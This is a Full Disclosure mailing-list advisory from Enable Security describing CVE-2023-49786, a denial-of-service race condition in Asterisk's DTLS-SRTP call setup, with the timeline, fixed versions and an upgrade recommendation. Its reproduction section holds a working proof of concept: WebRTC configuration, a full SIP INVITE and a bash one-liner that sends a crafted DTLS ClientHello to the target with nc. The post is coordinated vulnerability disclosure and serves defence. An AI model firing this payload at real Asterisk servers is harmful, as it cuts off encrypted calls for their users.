[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] [ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation
- To: oss-security@xxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx, fulldisclosure@xxxxxxxxxxxx, voipsec@xxxxxxxxxx, submissions@xxxxxxxxxxxxxxxxxxxxxxx, vuln@xxxxxxxxxxx, cert@xxxxxxxx
- Subject: [FD] [ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation
- From: "Sandro Gauci" <sandro@xxxxxxxxxxxxxxxxxx>
- Date: Fri, 15 Dec 2023 13:27:06 +0100
# Asterisk susceptible to Denial of Service via DTLS Hello packets during call
initiation
- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6
- Enable Security Advisory:
https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race
- Vendor Security Advisory:
https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq
- Other references: CVE-2023-49786
- Tested vulnerable versions: 20.1.0
- Timeline:
- Report date: 2023-09-27
- Triaged: 2023-09-27
- Fix provided for testing: 2023-11-09
- Vendor release with fix: 2023-12-14
- Enable Security advisory: 2023-12-15
## TL;DR
When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of
Service due to a race condition in the hello handshake phase of the DTLS
protocol. This attack can be done continuously, thus denying new DTLS-SRTP
encrypted calls during the attack.
## Description
Our research has shown that key establishment for Secure Real-time Transport
Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is
susceptible to a Denial of Service attack due to a race condition. If an
attacker manages to send a ClientHello DTLS message with an invalid CipherSuite
(such as `TLS_NULL_WITH_NULL_NULL`) to the port on the Asterisk server that is
expecting packets from the caller, a DTLS error is generated. This results in
the media session being torn down, which is followed by teardown at signaling
(SIP) level too.
This behavior was tested against Asterisk version 20.1.0, which was found to be
vulnerable to this issue.
The following sequence diagram shows the normal flow (i.e. no attack) involving
SIP, STUN and DTLS messages between a UAC (the Caller) and an Asterisk server
capable of handling WebRTC calls.
Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS:
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png
In a controlled experiment, it was observed that when the Attacker sent a DTLS
ClientHello to Asterisk's media port from a different IP and port, Asterisk
responded by sending a DTLS Alert to the Caller. Additionally, Asterisk
terminated the SIP call by sending a BYE message to the Caller.
Diagram showing a call setup against Asterisk that fails due to an attacker
controlled DTLS ClientHello:
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png
During a real attack, the attacker would spray a vulnerable Asterisk server
with DTLS ClientHello messages. The attacker would typically target the range
of UDP ports allocated for RTP. When the ClientHello message from the Attacker
wins the race against an expected ClientHello from the Caller, the call
terminates, resulting in Denial of Service.
## Impact
Abuse of this vulnerability may lead to a massive Denial of Service on
vulnerable Asterisk servers for calls that rely on DTLS-SRTP.
## How to reproduce the issue
1. Prepare an Asterisk server with an extension configured to handle WebRTC;
this may involve the following `pjsip.conf` and `extensions.conf` configuration
updates:
`pjsip.conf`
```ini
[transport-tls-nat]
type = transport
protocol = wss
bind = 172.17.0.2
[webrtc_client]
type=aor
max_contacts=5
remove_existing=yes
[webrtc_client]
type=auth
auth_type=userpass
username=3456
password=3456
[3456]
type=endpoint
aors=webrtc_client
auth=webrtc_client
dtls_auto_generate_cert=yes
webrtc=yes
context=default
disallow=all
allow=opus,ulaw
```
`extensions.conf`
```ini
[globals]
[default]
exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")
same => n,Playback(demo-congrats)
same => n,Hangup()
```
1. Send an INVITE message to the target server with WebRTC SDP:
```default
INVITE sip:1000@192.168.1.202 SIP/2.0
Via: SIP/2.0/WSS
192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU
Max-Forwards: 70
From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4
To: <sip:1000@192.168.1.202>
Contact: <sip:3456@192.168.1.202>
Call-ID: VaglTzNRBSuvPPdw
CSeq: 5 INVITE
Content-Type: application/sdp
Content-Length: 563
v=0
o=- 1695296401 1695296401 IN IP4 192.168.1.202
s=-
t=0 0
c=IN IP4 192.168.1.202
m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101
a=setup:active
a=fingerprint:sha-256
49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:101 telephone-event/8000
a=ice-ufrag:IOZyOSQkVywevryI
a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr
a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host
generation 0
a=end-of-candidates
a=rtcp-mux
a=rtcprsize
a=sendrecv
```
1. Note Asterisk's media port and IP values, which will be used as the
`<asterisk-ip>` and `<media-port>` parameters by the Attacker
1. When the call has been established, send a STUN binding request which has
the appropriate Username, Message-Integrity and Ice-Controlled properties
1. When the Binding Success Response message is received, send a DTLS
ClientHello message from a (attacker-controlled) host, which is different from
the Caller but has network access to the Asterisk server
```bash
CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA"
CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip>
<media-port>
```
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message
on its signaling channel
Note that the above steps are used to reliably reproduce the vulnerability. In
the case of a real attack, the attacker simply has to spray the Asterisk server
with DTLS messages.
## Solution and recommendations
To address this vulnerability, upgrade Asterisk to the latest version which
includes the security fix. The solution implemented is to drop all packets from
addresses that have not been validated by an ICE check.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security
tools and provides quality penetration testing to help protect your real-time
communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of
publishing based on currently available information. Use of the information
constitutes acceptance for use in an AS IS condition. There are no warranties
with regard to this information. Neither the author nor the publisher accepts
any liability for any direct, indirect, or consequential loss or damage arising
from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy
which can be found at
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for
the Secure Real-time Transport Protocol (SRTP)
https://datatracker.ietf.org/doc/html/rfc5764
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Neuburger Straße 101 b, 94036 Passau,
Germany
RTCSec Newsletter: https://www.rtcsec.com/subscribe
Our blog: https://www.rtcsec.com
Other points of contact: https://www.enablesecurity.com/contact/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/